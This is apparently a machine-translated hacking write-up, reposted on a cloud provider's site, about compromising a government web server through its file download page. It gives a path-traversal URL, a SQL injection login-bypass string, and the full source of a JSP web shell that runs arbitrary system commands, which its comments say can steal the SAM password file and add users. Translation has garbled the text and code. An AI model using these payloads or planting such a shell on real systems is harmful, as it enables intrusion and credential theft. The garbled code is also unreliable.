From download. jsp to root

Source: Internet
Author: User

Painful belief

Jsp? Filename =.../../admin/lgindex. jsp "> http://www.xxx.gov.cn/addcontent/webEditor/upload/files/file_down.jsp? Filename = ../admin/lgindex. jsp

According to this structure:/**/union/**/select/**/1, admin, admin, 1 -- arbitrary Password


<% @ Page import = "java. util. *, java. io. *" %>
<%
%>
 
<% --
Abysssec inc public material
 
Just upload this file with abysssec. jsp and execute your command
Your command will run as administrator. you can download sam file
Add user or do anything you want.
Note: please be gentle and dont obstructionism.
Vulnerability discovered by: abysssec.com
 
-- %>
<HTML> <BODY bgcolor = #0000000 and text = # DO0000>
<Title> Abysssec inc (abysssec.com) JSP vulnerability </tile>
<Center> <Form method = "GET" NAME = "myform" ACTION = "">
<Input type = "text" NAME = "cmd">
<Input type = "submit" VALUE = "Execute! ">
</FORM>
<Pre>
<%
If (request. getParameter ("cmd ")! = Null ){
Out. println ("Command:" + request. getParameter ("cmd") + "<BR> ");
Process p = runtime.getruntime(cmd.exe c (request. getParameter ("cmd "));
OutputStream OS = p. getOutputStream ();
InputStream in = p. getInputStream ();
DataInputStream dis = new DataInputStream (in );
String disr = dis. readLine ();
While (disr! = Null ){
Out. println (disr );
Disr = dis. readLine ();
}
}
%>
</Pre>
</BODY> </HTML>

 

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.